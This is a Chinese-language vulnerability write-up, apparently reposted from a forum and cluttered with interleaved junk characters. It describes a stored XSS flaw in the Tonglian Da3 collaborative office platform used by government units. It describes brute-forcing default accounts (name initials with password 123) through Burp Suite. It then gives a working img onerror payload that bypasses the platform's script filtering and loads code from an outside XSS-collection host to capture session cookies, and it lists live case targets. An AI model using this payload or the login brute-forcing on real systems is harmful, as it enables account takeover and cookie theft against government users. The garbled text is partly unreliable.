3 g* ?- i8 b' F- i' _3 ~+ P0 A
4 d6 o& M4 K3 h 同联Da3协同办公平台后台通用储存型xss漏洞
7 P8 Z& x! ^. _8 X& M6 X
2 V% }* q2 q; i, \8 y9 V: _
! P& e6 N) t/ j8 H! G U 平台简介:
" K4 v2 h4 S$ s! @; ^: U" }( h$ B
& r" ~" p- t# |$ ~# k/ N: W& Q % S+ C5 b% A o$ G5 V' ^( Z
6 f3 n) p8 f! K- K" }6 e+ R4 h! n
0 M2 c5 w1 [8 s' E
) b* `3 r9 y4 {# `5 F 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
& K: w3 j! r) q( {9 J v
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
0 l$ ?6 }# Y! N+ u5 n4 s( C同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!0 g1 F( f* h# F( Q2 i% @, l8 i' b+ P
; |& _0 a- S' V' y3 F+ O$ b
: w( H# @9 G0 c5 e 6 t2 h: ?9 Q+ I6 h# J% O q
& a8 ^" n$ d9 }* q J
1 m* w% ^! c8 Z/ M' x 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:8 e( b. T: p, g! Q1 T; t
0 E+ V$ C3 s: ~5 q7 m* N5 ` ~& F
3 q: j* K) V* X5 z0 I
% [7 P& D' f3 Q& j W1 i
u/ k1 u! ?& ^ , R8 I4 y6 E# A$ Z1 |
http://1.1.1.1:7197/cap-aco/#(案例2-)
6 N# X2 X( Y. Z; c7 f- R
/ }# s0 N6 l9 ], q1 ~( o2 m; t
% G( S! j5 J& G$ d4 D a
http://www.XXOO.com (案例1-官网网站)" `4 p. j" ^4 I! Q. w2 t; N) b
4 @8 N# B4 Z0 N( O" \! I- p/ _ T: O
' ], u: D+ S6 C1 v4 A6 `/ K 漏洞详情:
3 _& o$ A9 ?4 N) f6 V" k. P. }* Z
" o$ ^% A9 U* S, a / H) H$ {+ I: X7 Z
案例一、& a; e$ f# }% I; r/ o
! A, f9 A1 K3 I4 `! J" R- z 8 ~: P( O$ v9 l( t8 o; m9 |5 ?3 X$ W
初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试
4 M7 [- \. D0 r, P3 A5 K
, C% s' e+ d. S- Q8 O4 x5 \$ R 2 n/ K1 `8 k: Z- j$ Z5 O
首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:
( ]( C2 G. K# Y# x6 X8 `0 _5 g" U2 \
7 D; P& }6 y# ^; b; E& ?" r
2 k0 l8 Z: T: ^ u3 B 3 {+ c7 x' d* L3 Q) t- o* [% O
2 x2 P8 U; u u8 ]' Q' f( R
2 N% ~8 U0 `8 \9 `
. K( K; v8 n$ k0 ?, M) Y
6 R L; u- }: v ( v4 ?1 H. V2 ]6 _& b/ i
status为302即表示破解成功,然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞,我在编机器里填写好标题、选择人员,点html如图:
: {0 Q7 U( x# G4 ?7 h
( l6 f" h2 ?% o0 R( e) d% j; n/ g/ H
8 R3 R. F. c: p1 y0 g/ w
L& h* K& R' W: d& `; E: p
_! i! { ^! d: n- } ' U, \ M4 Q3 u, \
* G O, Z1 F4 J" u& Y+ e* K8 B0 V
" U1 s3 G; _+ \ s$ ?7 G I
% P4 J' U, c4 C3 h
然后插我们的xss跨站代码(经过测试发现过滤了好多标签,比如script,没过滤img、iframe标签),这里我们用img标签来测试,payload如下 9 O- `5 K/ r/ G0 `( ?
/ B0 @. H: o- e, {% ]
# V3 [% A* A; K: f. U" ?) S ' u( h, H e( z1 C. d
: [ f& J4 p; c% q! E/ E# u. Y 1 P3 V/ e5 {; O4 N
<img src=x
7 M: |/ h6 V& H; ^# vonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>,如图:
9 h6 T$ L' W4 `" t1 |0 s
, t6 A: l; V% W( v. F9 R+ y
( C. }* p; w& l7 K- ~. Q
5 T. X5 O! m& ^ S
7 z& \* h. l8 W , V% e5 ]. ?" Z+ ]1 _' w; Y, @3 U
然后发送,接收cookie如图: $ H2 x g7 S, K6 N6 E
) V1 {& O+ _: R; [( S4 d3 r+ f 5 x& Y' w4 G4 J
3 }1 T+ P! i: f: P
1 r4 M' M! n1 p }5 o( A
7 t; V+ Q; H: L
) C8 s. ~, o \* T
$ v9 a7 t& \6 T; {
; D. W) }# D3 D( N) O3 f
5 j1 ]7 E% ~% q- A' X$ x7 }; Z
! ?( Y6 J1 ~; V5 P
0 ^& @/ @. s: K9 I$ W: s: o 5 \! k8 E' j e2 W2 I
( i7 _: z8 f) x: T# ?9 o3 L
8 `0 M- l( Q6 G% g/ I+ \
0 W& q# Z# q( v% q# h) g# U. b+ h
8 g# P$ W6 h/ Y8 @3 v8 V' [
& Z3 {; Y" \8 u
* f" w) c4 k0 o( E; i9 J
+ ~, p2 @/ N( }6 K5 ` 1 t: A P% \' \4 O" R$ r
( Y5 v% q0 b& X
4 d. t' D0 s- z5 E# G! g5 n1 t 8 q; w. @8 w9 O- Y$ Z
案例2、
( X1 B* A0 b; b* v3 g
: H, Z7 B+ O2 s' C' y+ E 4 H" X5 b6 u# k) I: R
前面步骤都一样,下面看效果图: # e6 L+ c$ ^ f1 X$ ~9 g( X
/ U7 ?, p1 ]6 p) x5 K; X) T$ F
* V: }2 V4 _ @; A/ F9 d, Q
9 D7 k. r. O3 t4 _3 q4 {9 Y: H+ j
1 G2 V+ L( S4 T( `8 _ y- L U
$ e3 F4 K8 Z+ `
1 t4 o" m1 W1 z4 b, {
2 X9 \( k' s7 b c$ l H, z6 u5 h * G; u6 M# L3 J! H Z
9 C' X8 b' r# ^9 J+ s
2 l- P9 L6 N/ t; J
9 J# R' Y$ ?9 \) e
& ^- c6 W" t ~, d& y" |7 O w
- x8 N0 w2 ]- t
0 B7 B2 H% z! i8 b9 b! G4 ?2 M! C: T
6 b: e* Q L6 I; M& H
$ @- y* T$ A" W1 j* p # k# C9 D% L, N% g
! g" q8 Z2 B w/ |0 ?7 W$ D
9 J; b2 W8 E2 o2 [1 o9 c5 K ( v# Z% i' E, Q" R2 _
0 |+ z6 B1 ^8 P- F3 W: ~
0 G& H) k5 Z. D1 |$ |* u
* Y5 M+ F6 d; }
4 [& N% f1 Q4 x- W7 B/ \
: n( `2 p' D; F 4 H- V, R- s5 X9 d
4 _8 U( {3 Z# d) `" c9 H
4 R' j: m Q6 k! A$ d